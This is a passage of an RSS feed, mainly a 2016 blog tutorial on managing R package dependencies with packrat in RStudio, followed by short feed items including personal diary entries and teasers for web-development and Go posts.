&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; readLines&lt;span class="token punctuation"&gt;(&lt;/span&gt;system.file&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"DESCRIPTION"&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; package &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token string"&gt;"packrat"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;c&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;3&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;span class="token number"&gt;9&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;&lt;span class="token number"&gt;10&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;1&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt; &lt;span class="token string"&gt;"Title: A Dependency Management System for Projects and their R Package"&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;2&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt; &lt;span class="token string"&gt;"Description: Manage the R packages your project depends on in an"&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;3&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt; &lt;span class="token string"&gt;"isolated, portable, and reproducible way."&lt;/span&gt;  &lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="getting-started"&gt;Getting Started &lt;a class="direct-link" href="https://lukesingham.com/using-package-management-in-r/#getting-started"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To get the RStudio niceties/integrations it seems neccessary to treat your project folder as an R Project. I've created a new project &lt;code&gt;/testpackrat2&lt;/code&gt; and with the latest RStudio you should be able to select both &lt;code&gt;git&lt;/code&gt; and &lt;code&gt;packrat&lt;/code&gt; to be initialised. This runs the &lt;code&gt;packrat::init()&lt;/code&gt; function to enter packrat mode, takes a snapshot of the package dependencies (of which there are currently none) and places the binaries in the project folder under &lt;code&gt;testpackrat2/packrat/src/&lt;/code&gt;; finally &lt;code&gt;init()&lt;/code&gt; runs &lt;code&gt;restore()&lt;/code&gt; to apply the latest snapshot to the project folder. &lt;code&gt;R&lt;/code&gt; will restart once this process is finished.&lt;/p&gt;
&lt;p&gt;&lt;img alt="New Packrat Project RStudio" src="https://lukesingham.com/content/images/2016/11/Screen-Shot-2016-11-08-at-09-19-09.png" /&gt;&lt;br /&gt;
To double check packrat has been initialised properly run:&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token comment"&gt;# Check I am in the right directory&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; getwd&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token number"&gt;1&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt; &lt;span class="token string"&gt;"/Users/lukesingham/Projects/testpackrat2"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# See if packrat is working&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;status&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Up to date.&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should also notice the RStudio integration in the packages area, where it will show your project version against that which Packrat has the binary for and the source of that binary:&lt;/p&gt;
&lt;p&gt;&lt;img alt="packages window RStudio " src="https://lukesingham.com/content/images/2016/11/Screen-Shot-2016-11-07-at-10-03-25.png" /&gt;&lt;/p&gt;
&lt;p&gt;For test purposes I created &lt;code&gt;script.R&lt;/code&gt; with only one package.&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token comment"&gt;# Create script&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; system&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"echo 'library(stringr)' &gt;| script.R"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Confirm project contents&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; system&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"ls"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;packrat&lt;br /&gt;script.R&lt;br /&gt;testpackrat.Rproj&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I open &lt;code&gt;script.R&lt;/code&gt; in RStudio and try and load the library this is the expected behaviour:&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; library&lt;span class="token punctuation"&gt;(&lt;/span&gt;stringr&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Error &lt;span class="token keyword"&gt;in&lt;/span&gt; library&lt;span class="token punctuation"&gt;(&lt;/span&gt;stringr&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;:&lt;/span&gt; there is no package called ‘stringr’&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I have &lt;code&gt;stringr&lt;/code&gt; installed on my system, but now I am in an isolated packrat project which is only reading from the project folders list of packages. Now to run the packrat commands to &lt;code&gt;snapshot()&lt;/code&gt; the addition of &lt;code&gt;stringr&lt;/code&gt; to the project and install it ready for use in the project.&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;status&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following packages are referenced &lt;span class="token keyword"&gt;in&lt;/span&gt; your code&lt;span class="token punctuation"&gt;,&lt;/span&gt; but are not present&lt;br /&gt;&lt;span class="token keyword"&gt;in&lt;/span&gt; your library nor &lt;span class="token keyword"&gt;in&lt;/span&gt; packrat&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    stringr&lt;br /&gt;&lt;br /&gt;You will need to install these packages manually&lt;span class="token punctuation"&gt;,&lt;/span&gt; then use&lt;br /&gt;packrat&lt;span class="token operator"&gt;::&lt;/span&gt;snapshot&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; to record these packages &lt;span class="token keyword"&gt;in&lt;/span&gt; packrat.&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Well I do have stringr in my library, anyway...&lt;/span&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# now to take a snapshot&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;snapshot&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Adding these packages to packrat&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;             _&lt;br /&gt;    magrittr   &lt;span class="token number"&gt;1.5&lt;/span&gt;  &lt;br /&gt;    stringi    &lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.2&lt;/span&gt;&lt;br /&gt;    stringr    &lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fetching sources &lt;span class="token keyword"&gt;for&lt;/span&gt; magrittr &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;CRAN current&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Fetching sources &lt;span class="token keyword"&gt;for&lt;/span&gt; stringi &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.2&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;CRAN current&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Fetching sources &lt;span class="token keyword"&gt;for&lt;/span&gt; stringr &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;CRAN current&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Snapshot written to &lt;span class="token string"&gt;'/Users/lukesingham/Projects/testpackrat2/packrat/packrat.lock'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Now to install/'restore' those sources to the snapshot just taken&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;restore&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Installing magrittr &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt;&lt;br /&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;built source&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Installing stringi &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.2&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt;&lt;br /&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;built source&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Installing stringr &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.1&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt;&lt;br /&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;built source&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It's probably worth pointing out what packrat is doing to your library path, particularly when you go to install new packages in your project.&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token comment"&gt;# Turn packrat off&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;packrat_mode&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Packrat mode off. Resetting library paths to&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token string"&gt;"/usr/local/lib/R/3.2/site-library"&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token string"&gt;"/usr/local/Cellar/r/3.2.3/R.framework/Versions/3.2/Resources/library"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Turn packrat back on&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;packrat_mode&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Packrat mode on. Using library &lt;span class="token keyword"&gt;in&lt;/span&gt; directory&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token string"&gt;"~/Projects/testpackrat2/packrat/lib"&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So as long as you are in &lt;code&gt;packrat_mode&lt;/code&gt;, when you run &lt;code&gt;install.packages()&lt;/code&gt; or remove &lt;code&gt;remove.packages()&lt;/code&gt; it will only be modifying the project &lt;code&gt;testpackrat2/&lt;/code&gt; folder.&lt;/p&gt;
&lt;h2 id="existing-project-with-out-of-date-packages"&gt;Existing Project with Out-Of-Date Packages &lt;a class="direct-link" href="https://lukesingham.com/using-package-management-in-r/#existing-project-with-out-of-date-packages"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I want to test the scenario where I have existing projects using old versions of packages. To do this I ran:&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token comment"&gt;# Find old packages&lt;/span&gt;&lt;br /&gt;old.packages&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt;             Installed     Built   ReposVer&lt;br /&gt;lubridate     &lt;span class="token string"&gt;"1.5.6"&lt;/span&gt;       &lt;span class="token string"&gt;"3.2.3"&lt;/span&gt; &lt;span class="token string"&gt;"1.6.0"&lt;/span&gt;&lt;br /&gt;htmlwidgets   &lt;span class="token string"&gt;"0.6"&lt;/span&gt;         &lt;span class="token string"&gt;"3.2.3"&lt;/span&gt; &lt;span class="token string"&gt;"0.7"&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then created a folder with these packages, to simulate an old project that I want &lt;code&gt;packrat&lt;/code&gt; to manage.&lt;/p&gt;
&lt;pre class="language-bash"&gt;&lt;code class="language-bash"&gt;&lt;span class="token function"&gt;mkdir&lt;/span&gt; testpackratOutofDatePackages&lt;br /&gt;&lt;span class="token builtin class-name"&gt;echo&lt;/span&gt; &lt;span class="token string"&gt;"library(lubridate); library(htmlwidgets)"&lt;/span&gt; &lt;span class="token operator"&gt;&gt;|&lt;/span&gt; testpackratOutofDatePackages/oldScript.R&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now go to RStudio and open the existing project &lt;code&gt;testpackratOutofDatePackages&lt;/code&gt;. Click on &lt;code&gt;File &amp;gt; New Project &amp;gt; Existing Directory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="New project Rstudio" src="https://lukesingham.com/content/images/2016/11/Screen-Shot-2016-11-07-at-19-58-24.png" /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately there is not an option to &lt;code&gt;init&lt;/code&gt; packrat as part the process. So...&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;init&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Initializing packrat project &lt;span class="token keyword"&gt;in&lt;/span&gt; directory&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token string"&gt;"~/Projects/testpackratOutofDatePackages"&lt;/span&gt;&lt;br /&gt;&lt;span class="token ellipsis"&gt;...&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;edited down the consolte printout&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Fetching sources &lt;span class="token keyword"&gt;for&lt;/span&gt; htmlwidgets &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;0.6&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;CRAN archived&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Fetching sources &lt;span class="token keyword"&gt;for&lt;/span&gt; lubridate &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token number"&gt;.6&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt; OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;CRAN archived&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok great, it fetches the old binaries. Now let's test upgrading these packages and then reverting back to the initial project state.&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; install.packages&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"htmlwidgets"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token comment"&gt;# v0.7&lt;/span&gt;&lt;br /&gt;Installing package into ‘&lt;span class="token operator"&gt;/&lt;/span&gt;Users&lt;span class="token operator"&gt;/&lt;/span&gt;lukesingham&lt;span class="token operator"&gt;/&lt;/span&gt;Projects&lt;span class="token operator"&gt;/&lt;/span&gt;testpackratOutofDatePackages&lt;span class="token operator"&gt;/&lt;/span&gt;packrat&lt;span class="token operator"&gt;/&lt;/span&gt;lib&lt;span class="token operator"&gt;/&lt;/span&gt;x86_64&lt;span class="token operator"&gt;-&lt;/span&gt;apple&lt;span class="token operator"&gt;-&lt;/span&gt;darwin15.&lt;span class="token number"&gt;2.0&lt;/span&gt;&lt;span class="token operator"&gt;/&lt;/span&gt;&lt;span class="token number"&gt;3.2&lt;/span&gt;&lt;span class="token number"&gt;.3&lt;/span&gt;’ &lt;span class="token ellipsis"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;*&lt;/span&gt; DONE &lt;span class="token punctuation"&gt;(&lt;/span&gt;htmlwidgets&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So it seems packrat auto snapshots the project, such that I couldn't run &lt;code&gt;restore()&lt;/code&gt; and return to htmlwidgets v0.6. Let's try that again without autosnapshot and with my out-of-date &lt;code&gt;lubridate&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="language-r"&gt;&lt;code class="language-r"&gt;&lt;span class="token comment"&gt;# Turn off auto.snapshot&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;set_opts&lt;span class="token punctuation"&gt;(&lt;/span&gt;auto.snapshot&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token boolean"&gt;FALSE&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Check status&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;status&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;Up to date.&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Now try updating lubridate&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; install.packages&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;"lubridate"&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;DONE&lt;br /&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;status&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following packages are out of sync between packrat and your current library&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;                packrat   library&lt;br /&gt;    lubridate     &lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token number"&gt;.6&lt;/span&gt;     &lt;span class="token number"&gt;1.6&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Use packrat&lt;span class="token operator"&gt;::&lt;/span&gt;snapshot&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; to set packrat to use the current library&lt;span class="token punctuation"&gt;,&lt;/span&gt; or use&lt;br /&gt;packrat&lt;span class="token operator"&gt;::&lt;/span&gt;restore&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; to reset the library to the last snapshot.&lt;br /&gt;&lt;br /&gt;&lt;span class="token comment"&gt;# Return to old version of lubridate&lt;/span&gt;&lt;br /&gt;&lt;span class="token operator"&gt;&gt;&lt;/span&gt; packrat&lt;span class="token operator"&gt;::&lt;/span&gt;restore&lt;span class="token punctuation"&gt;(&lt;/span&gt;overwrite.dirty&lt;span class="token operator"&gt;=&lt;/span&gt;T&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Downgrading these packages &lt;span class="token keyword"&gt;in&lt;/span&gt; your library&lt;span class="token operator"&gt;:&lt;/span&gt;&lt;br /&gt;                 from      to&lt;br /&gt;    lubridate   &lt;span class="token number"&gt;1.6&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt;   &lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token number"&gt;.6&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Do you want to continue? &lt;span class="token punctuation"&gt;[&lt;/span&gt;Y&lt;span class="token operator"&gt;/&lt;/span&gt;n&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; Y&lt;br /&gt;Replacing lubridate &lt;span class="token punctuation"&gt;(&lt;/span&gt;downgrade &lt;span class="token number"&gt;1.6&lt;/span&gt;&lt;span class="token number"&gt;.0&lt;/span&gt; to &lt;span class="token number"&gt;1.5&lt;/span&gt;&lt;span class="token number"&gt;.6&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token ellipsis"&gt;...&lt;/span&gt;  OK &lt;span class="token punctuation"&gt;(&lt;/span&gt;built source&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="conclusion"&gt;Conclusion &lt;a class="direct-link" href="https://lukesingham.com/using-package-management-in-r/#conclusion"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;By default packrat &lt;code&gt;auto.snapshot&lt;/code&gt; my project when I updated a package. Crucially, this meant I could not use &lt;code&gt;packrat::restore()&lt;/code&gt; because I was &lt;code&gt;already up to date&lt;/code&gt;. Of course, if I had been using &lt;code&gt;git&lt;/code&gt; and making commits before and after, then there wouldn't have been a problem. However, without &lt;code&gt;git&lt;/code&gt;, running &lt;code&gt;packrat::restore()&lt;/code&gt; to downgrade a package requires the &lt;code&gt;overwrite.dirty=TRUE&lt;/code&gt; option and only seems possible if you switched off &lt;code&gt;auto.snapshot&lt;/code&gt;. I'd highly recommend turning it off anyway, as the manual update will allow for a better understanding and control over packrat.&lt;/p&gt;
&lt;h2 id="other-resources"&gt;Other Resources &lt;a class="direct-link" href="https://lukesingham.com/using-package-management-in-r/#other-resources"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.rstudio.com/resources/webinars/managing-package-dependencies-in-r-with-packrat/"&gt;RStudio Video presentation of Packrat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cran.r-project.org/web/packages/packrat/packrat.pdf"&gt;Packrat Package Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rstudio.github.io/packrat/"&gt;Packrat website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mran.microsoft.com/rro/#repos"&gt;An alternative to packrat, Microsoft's MRAN and Enhanced R&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/packrat-discuss"&gt;Packrat discussion board&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Luke Singham</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://lukesingham.com/using-package-management-in-r/</guid></item><item><title>2016.11.07</title><link>https://www.wints.org/daypages/2016.11.07/</link><description>&lt;p&gt;Another day of haze. not feeling great. R also not feeling great.
P and N uncle left today..&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.07/</guid></item><item><title>Another web development awesome list</title><link>https://muffinman.io/blog/another-web-development-awesome-list/</link><description>&lt;article class="article"&gt;&lt;h3 id="update-november-2017"&gt;Update November 2017 &lt;a class="anchor-link" href="#update-november-2017"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Unfortunately, I&amp;#x27;m not maintaining this repo anymore.
Still, there are couple of really useful links on it.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;People are making &lt;em&gt;awesome&lt;/em&gt; lists on the Git these days.&lt;/p&gt;
&lt;p&gt;I&amp;#x27;m spamming our company&amp;#x27;s slack dev channel, and someone suggested to put all of those links in one place.
So I created one awesome list as well.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Stanko/awesome-web-development"&gt;Awesome web development&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Feel free to contribute!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/another-web-development-awesome-list/</guid></item><item><title>Controlled and uncontrolled form inputs in React don't have to be complicated</title><link>https://goshacmd.com/controlled-vs-uncontrolled-inputs-react/</link><author>Gosha Spark</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/controlled-vs-uncontrolled-inputs-react/</guid></item><item><title>Google OnHub Feature Requests</title><link>https://justingarrison.com/blog/2016-11-07-google-onhub-feature-requests/</link><description>Large scale DDoS are not rare occasions anymore. What we need to help protect the Internet is to make home routers</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 07 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-11-07-google-onhub-feature-requests/</guid></item><item><title>2016.11.06</title><link>https://www.wints.org/daypages/2016.11.06/</link><description>&lt;p&gt;woke up feeling quite terrible. headache,fever, weakness and stomach issues.
slept most of the day, woke up to eat and drink a little.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Sun, 06 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.06/</guid></item><item><title>2016.11.05</title><link>https://www.wints.org/daypages/2016.11.05/</link><description>&lt;p&gt;don&amp;rsquo;t remember much of this day, woke up late, n uncle arrived in the day time.
hung out with everyone at home, got a feel for what&amp;rsquo;s next with regards to nani&amp;rsquo;s condition.
p,m and r went to a party, we stayed home and relaxed.
m looked happy, and seemed to be distracted for the moment.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Sat, 05 Nov 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.11.05/</guid></item><item><title>How to avoid Go gotchas</title><link>https://divan.dev/posts/avoid_gotchas/</link><description>&lt;h5 id="tldr--by-learning-internals"&gt;TL;DR  by learning internals&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;a gotcha is a valid construct in a system, program or programming language that works as documented but is counter-intuitive and almost invites mistakes because it is both easy to invoke and unexpected or unreasonable in its outcome
(source: &lt;a href="https://en.wikipedia.org/wiki/Gotcha_(programming)"&gt;wikipedia&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
